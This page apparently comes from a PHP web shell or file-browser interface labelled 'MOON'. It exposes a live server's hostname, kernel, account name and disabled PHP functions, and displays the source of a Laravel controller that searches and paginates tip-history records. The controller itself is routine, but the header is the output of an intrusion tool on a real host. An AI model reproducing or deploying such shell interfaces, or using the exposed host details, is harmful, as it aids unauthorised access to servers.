MOON
Server: Apache
System: Linux e2e-78-16.ssdcloudindia.net 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: imensosw (1005)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/imensosw/www/amanda/app/Http/Controllers/TipHistoryController.php
<?php

namespace App\Http\Controllers;

use App\Tip_history;
use Illuminate\Http\Request;

class TipHistoryController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index(Request $request)
    {
        $limit = config('constants.limit');
        $search = $request->search;
        
        $tip_history = Tip_history::
                join('users','users.id','tip_history.user_id')
                ->where(function($q) use ($search)
                {
                      $q->orWhere('tip_history.amount', 'like', '%' . $search . '%');
                })
                ->select("users.name as user_name","tip_history.amount","tip_history.created_at")
                ->orderBy('tip_history.id','desc')
                ->paginate($limit);
        return response()->json($tip_history,200);
        // $tip = Tip::paginate(5);
        // return response()->json(Tip::all(),200);
    }

    public function search(Request $request)
    {
        $limit = config('constants.limit');
        $search = $request->search;
        $tip_history = Tip_history::
               join('users','users.id','tip_history.user_id')
                ->where(function($q) use ($search)
                {
                      $q->orWhere('users.name', 'like', '%' . $search . '%');
                })
                  ->select("users.name as user_name","tip_history.amount","tip_history.created_at")
                  ->orderBy('tip_history.id','desc')
                ->paginate($limit);
        return response()->json($tip_history,200);
    }

  

}